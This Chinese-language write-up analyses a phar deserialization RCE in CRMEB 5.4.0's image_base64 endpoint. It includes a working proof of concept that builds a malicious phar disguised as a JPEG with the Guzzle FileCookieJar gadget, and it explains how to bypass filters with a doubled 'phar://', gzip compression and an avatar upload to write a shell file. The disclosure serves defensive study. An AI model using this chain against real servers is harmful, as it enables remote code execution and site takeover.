前言#
该漏洞是存在于钟邦科技 CRMEB 5.4.0 版本中的一个关键安全漏洞,影响到 PublicController.php 文件中的 get_image_base64 函数。该漏洞的根本原因是由于对用户可控的参数 code 进行处理时,存在不安全的反序列化操作的风险。攻击者可以利用此漏洞,通过发送特制的请求,触发 PHP 的反序列化机制,从而执行恶意代码,最终可能导致远程代码执行(RCE)的严重后果。该漏洞已被公开披露,并且可能被恶意利用。
什么是反序列化漏洞#
在计算机科学中,序列化 (Serialization) 是将一个对象(例如,PHP 中的一个类实例)转换成可以存储或传输的数据格式的过程。这种格式通常是字符串或字节流。
反序列化 (Deserialization) 则是序列化的逆过程,它将存储或传输的数据格式转换回原始的对象。
为什么需要序列化和反序列化?
序列化和反序列化在很多场景下都非常有用,例如:
- 存储数据: 将复杂的数据结构(如对象)保存到文件或数据库中。
- 传输数据: 在网络上传输对象,例如在 API 请求或会话管理中。
- 缓存: 将对象存储在缓存中以提高性能。
什么是反序列化漏洞?
反序列化漏洞发生在应用程序在反序列化来自不可信来源的数据时,没有进行充分的验证和过滤,导致恶意攻击者能够控制反序列化的过程,从而执行恶意代码或进行其他恶意操作。
核心问题在于,反序列化过程会根据序列化数据中包含的信息来重建对象。如果攻击者能够控制这些信息,他们就可以在反序列化过程中注入恶意的代码或指令。
PHP 反序列化漏洞与 RCE
PHP 提供了 serialize() 函数用于序列化数据,以及 unserialize() 函数用于反序列化数据。PHP 的反序列化漏洞是比较常见且危害较大的漏洞之一,尤其容易导致远程代码执行(RCE)。
PHP 中导致反序列化漏洞的关键在于其“魔术方法 (Magic Methods)”:
这些是在特定事件发生时自动调用的特殊方法。一些常见的与反序列化漏洞相关的魔术方法包括:
__wakeup(): 在反序列化时被调用。__destruct(): 在对象被销毁时被调用。__toString(): 当对象被当作字符串处理时被调用。__call(): 在调用对象中不存在的方法时被调用。__get()/__set(): 在访问或设置对象中不存在的属性时被调用。
PHP 反序列化实现 RCE 的原理
攻击者可以通过构造恶意的序列化数据,使其在反序列化过程中触发某些魔术方法,并在这些魔术方法中执行他们预先设定的恶意代码。
举个简单的 PHP RCE 示例
假设我们有以下 PHP 代码:
PHP
<?php
class Evil {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
if (isset($_GET['data'])) {
$serialized_data = base64_decode($_GET['data']);
unserialize($serialized_data);
}
?>php在这个例子中:
- 我们定义了一个名为
Evil的类,它有一个公共属性$cmd。 - 该类中定义了一个魔术方法
__destruct()。当Evil类的对象被销毁时,__destruct()方法会被自动调用,并执行$this->cmd中存储的命令。 - 脚本通过 GET 请求接收一个名为
data的参数,该参数经过 Base64 解码后被unserialize()函数反序列化。
漏洞原理分析#
get_image_base64#
首先我们来分析一下漏洞函数
/**
* 获取图片base64
* @param Request $request
* @return mixed
*/
public function get_image_base64(Request $request)
{
[$imageUrl, $codeUrl] = $request->postMore([
['image', ''],
['code', ''],
], true);
if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
try {
$code = CacheService::remember($codeUrl, function () use ($codeUrl) {
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
if (!$codeTmp) {
$putCodeUrl = put_image($codeUrl);
$code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
if ($putCodeUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
}
}
return $code;
});
$image = CacheService::remember($imageUrl, function () use ($imageUrl) {
$imageTmp = $image = $imageUrl ? image_to_base64($imageUrl) : false;
if (!$imageTmp) {
$putImageUrl = put_image($imageUrl);
$image = $putImageUrl ? image_to_base64(app()->request->domain(true) . '/' . $putImageUrl) : false;
if ($putImageUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putImageUrl);
}
}
return $image;
});
return app('json')->success(compact('code', 'image'));
} catch (\Exception $e) {
return app('json')->fail(100005);
}
}php进行代码审计可以发现,
get_image_base64函数接收两个 POST 参数:image和code,并将它们分别赋值给$imageurl和$codeUrl变量- 函数对这两个参数进行了初步的校验,要求它们必须包含
.png,.jpg,.jpeg, 或.gif等图片扩展名,并且$imageurl不允许包含phar://字段 - 接下来,代码尝试使用
CacheService::remember()函数缓存$codeUrl对应的 base64 编码的图片。如果缓存不存在,则执行一个匿名函数,该匿名函数会依次调用image_to_base64($codeUrl)和put_image($codeUrl)
put_image#
function image_to_base64($avatar = '', $timeout = 9)
{
$avatar = str_replace('https', 'http', $avatar);
try {
$url = parse_url($avatar);
if ($url['scheme'] . '://' . $url['host'] == sys_config('site_url')) {
return "data:image/jpeg;base64," . base64_encode(file_get_contents(public_path() . substr($url['path'], 1)));
}
$url = $url['host'];
$header = [
'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0',
'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding: gzip, deflate, br',
'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Host:' . $url
];
$dir = pathinfo($url);
$host = $dir['dirname'];
$refer = $host . '/';
$curl = curl_init();
curl_setopt($curl, CURLOPT_REFERER, $refer);
curl_setopt($curl, CURLOPT_URL, $avatar);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip');
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
if ($code == 200) {
return "data:image/jpeg;base64," . base64_encode($data);
} else {
return false;
}
} catch (\Exception $e) {
return false;
}
}phpfunction put_image($url, $filename = '')
{
if ($url == '') {
return false;
}
try {
if ($filename == '') {
$ext = pathinfo($url);
if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
return false;
}
$filename = time() . "." . $ext['extension'];
}
//文件保存路径
ob_start();
$url = str_replace('phar://', '', $url);//防止phar协议,但可以双写跳过
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$path = 'uploads/qrcode';
$fp2 = fopen($path . '/' . $filename, 'a');
fwrite($fp2, $img);
fclose($fp2);
return $path . '/' . $filename;
} catch (\Exception $e) {
return false;
}
}phpimage_to_base64函数: 此函数以$codeUrl为参数发起一个 cURL 请求,尝试获取图片内容并进行 base64 编码。关键在于,当 cURL 处理phar://协议的 URL 时,会返回falseput_image函数(漏洞触发点):put_image函数接收$codeUrl作为参数,并尝试将其中出现的phar://替换为空字符串:$url = str_replace('phar://', '', $url);。然而,通过双写phar://(例如phar://phar://...) 可以绕过此替换。 之后,函数会调用readfile($url);。当$url以phar://开头时,readfile函数会将该路径视为 Phar 归档文件,并尝试读取,从而触发 Phar 反序列化
漏洞利用链#
寻找反序列化 Gadget#
- 原理: 在 PHP 中,反序列化漏洞本身并不能直接执行任意代码。它需要结合已存在于项目代码或依赖库中的某些类(称为 “Gadget”)来实现。这些 Gadget 类中存在特定的“魔术方法”(如
__destruct()、__wakeup()等),在对象被反序列化或销毁等特定时机被自动调用 - 在这个漏洞中: 我们通过搜索
__destruct()方法,在 GuzzleHTTP 库的FileCookieJar类中找到了一个可利用的 Gadget - 为什么
FileCookieJar可利用:FileCookieJar类的__destruct()方法会调用自身的save()方法。而save()方法的功能是将 Cookie 信息写入到指定的文件中。这为攻击者提供了一个可控的文件写入操作
构造恶意 Phar 文件#
- 原理: Phar 文件是 PHP 的归档文件,可以包含多个 PHP 文件和元数据。元数据可以被序列化存储。当 PHP 处理
phar://协议的文件时,会尝试反序列化其元数据 - 在这个漏洞中:我们需要创建一个恶意的 Phar 文件。这个文件的元数据中包含一个序列化后的
GuzzleHttp\Cookie\FileCookieJar对象 - 恶意对象的关键属性:
$filename属性被设置为攻击者想要写入 Webshell 的目标路径,例如public/shell.php$cookies属性被设置为包含恶意 PHP 代码的 Cookie 信息。当FileCookieJar对象的save()方法被调用时,这些恶意代码就会被写入到$filename指定的文件中
绕过黑名单检测#
- 原理: 为了防止恶意文件的上传,系统通常会对上传的文件进行检查,例如检查文件名后缀、文件内容等。可能会存在对包含特定字符串(如常见的反序列化类名)的文件内容的黑名单检测
- 在这个漏洞中: 为了绕过这种内容检测,攻击者可以使用
gzip压缩 Phar 文件。压缩后的文件内容会变得难以直接识别
上传 Phar 文件#
- 原理: 攻击者需要找到一个允许上传文件的入口点
- **在这个漏洞中:**可以通过注册用户后上传头像的功能来实现 Phar 文件的上传。上传成功后,攻击者会获得上传文件在服务器上的路径
触发反序列化#
-
原理: 要执行 Phar 文件中的恶意操作,需要触发 PHP 对其元数据的反序列化。这通常通过使用
phar://协议来访问 Phar 文件来实现 -
在这个漏洞中:
攻击者构造一个 POST 请求发送到
plaintext/api/image_base64接口。关键在于
plaintextcode参数的值。
code参数的值需要指向之前上传的 Phar 文件的 URL- 双写
phar://绕过: 由于put_image函数中存在将phar://替换为空的逻辑,攻击者使用双写phar://(例如phar://phar:///path/to/uploaded/compressed_phar_file.jpg.gz) 来绕过这个替换。这样,经过一次替换后,readfile函数接收到的仍然是以phar://开头的路径 readfile触发反序列化:get_image_base64函数最终会调用put_image,put_image函数在经过绕过处理后,会使用readfile()函数来读取$codeUrl指向的文件。当readfile()函数处理以phar://开头的路径时,PHP 会将该文件识别为 Phar 归档文件,并自动反序列化其元数据
执行恶意代码:#
- 原理: 当 Phar 文件的元数据(即序列化的
FileCookieJar对象)被反序列化后,PHP 会自动调用该对象的__destruct()方法 - 在这个漏洞中:
FileCookieJar对象的__destruct()方法被调用,接着会调用其save()方法。save()方法会将$cookies属性中存储的恶意 PHP 代码写入到$filename属性指定的路径(例如public/shell.php)
POC#
<?php
namespace GuzzleHttp\Cookie{
class SetCookie {
function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "D:/phpstudy/WWW/crmeb/public/shell.php";
$this->storeSessionCookies = true;
}
}
}
namespace{
$exp = new GuzzleHttp\Cookie\FileCookieJar();
$phar = new Phar('test.phar');
$phar -> stopBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($exp);
$phar -> stopBuffering();
rename('test.phar','test.jpg');
}
?>jsnamespace{ ... }: 这部分代码是生成 Phar 文件的主要逻辑
$exp = new GuzzleHttp\Cookie\FileCookieJar();创建了一个 FileCookieJar 类的实例 $exp。这个对象包含了恶意代码和目标文件路径
$phar = new Phar('test.phar');创建一个新的 Phar 对象,文件名为 test.phar
$phar -> stopBuffering();停止缓冲,准备写入文件内容
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");设置 Phar 文件的 Stub。Stub 是 Phar 文件的入口点,这里使用了一个 GIF 图片的文件头 GIF89a,后面跟着 <?php __HALT_COMPILER(); ?>。__HALT_COMPILER() 用于标识 Phar 文件内容的结束。使用 GIF 文件头是为了在上传时绕过可能隐含的文件类型检查
$phar -> addFromString('test.txt','test');向 Phar 文件中添加一个名为 test.txt 的虚拟文件,内容为 test。这是 Phar 文件必需的部分,但内容本身在这个漏洞中并不重要
$phar -> setMetadata($exp);这是最关键的一行。它将之前创建的包含恶意信息的 $exp 对象进行序列化,并将其设置为 Phar 文件的元数据。 当 Phar 文件被以 phar:// 协议处理时,PHP 会自动反序列化这个元数据。
$phar -> stopBuffering();停止写入 Phar 文件
rename('test.phar','test.jpg');将生成的 test.phar 文件重命名为 test.jpg。这是为了在上传时绕过文件扩展名检查